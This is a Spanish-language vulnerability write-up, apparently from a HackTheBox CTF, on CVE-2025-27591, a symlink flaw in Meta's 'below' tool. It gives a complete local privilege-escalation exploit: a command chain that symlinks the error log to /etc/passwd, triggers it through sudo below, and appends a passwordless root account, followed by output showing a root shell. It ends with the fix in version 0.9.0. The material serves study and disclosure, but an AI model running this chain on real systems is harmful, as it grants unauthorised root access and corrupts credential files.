
CVE-2025-27591 – Meta below: escalada de privilegios local mediante seguimiento de enlaces simbólicos (CTF de HackTheBox)
below| Campo | Detalles |
|---|---|
| CVE | CVE-2025-27591 |
| Software | Meta below (monitor de recursos del sistema) |
| Versiones afectadas | < 0.9.0 |
| Vulnerabilidad | Seguimiento de symlink → sobrescritura arbitraria de archivos como root |
| Autenticación | Usuario local con acceso sudo a below |
| Impacto | Escalada de privilegios local a root |
| Contexto | Descubierto durante el CTF de HackTheBox |
La herramienta de monitoreo de recursos del sistema below (de Meta Platforms, Inc.) contiene una falla en su mecanismo de registro de errores. Cuando se invoca mediante sudo, establece forzosamente permisos 0666 en sus archivos de registro ubicados en /var/log/below/ sin verificar primero si la ruta de destino es un symlink. Esto permite a un atacante local reemplazar el archivo de registro con un symlink que apunte a cualquier archivo escribible por root, sobrescribiéndolo efectivamente con contenido controlado.
El código de registro en below < 0.9.0 realiza estas operaciones en secuencia cuando se ejecuta como root:
/var/log/below/error_root.logchmod(path, 0o666) — sin comprobar si es un symlinkEn el paso 4, si la ruta fue reemplazada por un symlink antes de la ejecución, la escritura va al destino del symlink en su lugar.
Local user
│
▼
Remove /var/log/below/error_root.log
│
▼
Create symlink: /var/log/below/error_root.log → /etc/passwd
│
▼
Trigger error via: sudo /usr/bin/below replay --time "invalid"
│ (below opens the "log file", chmod 0666 hits /etc/passwd, writes error)
▼
/etc/passwd is now world-writable
│
▼
Append rogue root entry: rooted::0:0:root:/root:/bin/bash
│
▼
su rooted → root shell
--time "invalid"Pasar una cadena de tiempo no válida obliga a below a registrar un mensaje de error. La ruta de error llega al código de registro que escribe ciegamente en el archivo, que ahora es nuestro symlink.
chmod +x exploit.sh
./exploit.sh
Requisito previo: El usuario actual debe tener derechos
sudopara ejecutar/usr/bin/below.
rm -f /var/log/below/error_root.log; \
ln -s /etc/passwd /var/log/below/error_root.log; \
sudo /usr/bin/below replay --time "invalid" >/dev/null 2>&1; \
echo 'rooted::0:0:root:/root:/bin/bash' > /var/log/below/error_root.log; \
su rooted
$ whoami
lowpriv
$ ./exploit.sh
# whoami
root
La vulnerabilidad se corrigió en la versión 0.9.0 de below. La corrección introduce una comprobación de symlink antes de cualquier operación de archivos en la ruta de registro.